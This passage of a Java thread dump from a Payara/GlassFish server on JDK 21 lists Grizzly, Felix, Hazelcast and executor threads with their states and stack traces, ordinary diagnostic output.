java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-7" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #157 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@333e374d + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.cached.thread-3" #103 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@64c6c605 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #155 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-scheduled-task" #162 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.11/java.net.Socket$SocketInputStream.read(Socket.java:1109) + at java.base@21.0.11/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.11/java.io.BufferedInputStream.read1(BufferedInputStream.java:347) + at java.base@21.0.11/java.io.BufferedInputStream.implRead(BufferedInputStream.java:420) + at java.base@21.0.11/java.io.BufferedInputStream.read(BufferedInputStream.java:399) + at java.base@21.0.11/sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:827) + at java.base@21.0.11/sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:759) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1723) + at java.base@21.0.11/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1632) + at java.base@21.0.11/java.net.HttpURLConnection.getResponseCode(HttpURLConnection.java:531) + at fish.payara.nucleus.phonehome.PhoneHomeTask.send(PhoneHomeTask.java:164) + at fish.payara.nucleus.phonehome.PhoneHomeTask.run(PhoneHomeTask.java:76) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:358) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GlassFish Kernel Main Thread" #165 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@18570493 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:276) + +"EventAdminAsyncThread #3" #171 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-9" #81 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-3" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-expirer(1)" #125 daemon [TIMED_WAITING] on java.lang.Object@3612318f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.MetricsRegistry.thread-2" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@251ea44d + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-0" #72 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-1(5)" #124 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5556680 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.event-1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76267405 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"RunLevelControllerThread-1785653510580" #49 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5afb5ca2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.InvocationMonitorThread" #101 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@15e9e1fe + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-6" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@715bb517 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.11/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.11/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"hz.blissful_keller.event-3" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65b077d2 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"GF Domain XML" #65 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-8" #41 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Executor-Service-7" #144 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-9" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #151 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic.run(ContainerBase.java:1831) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.TcpServer.thread-4" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29d4ea14 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at 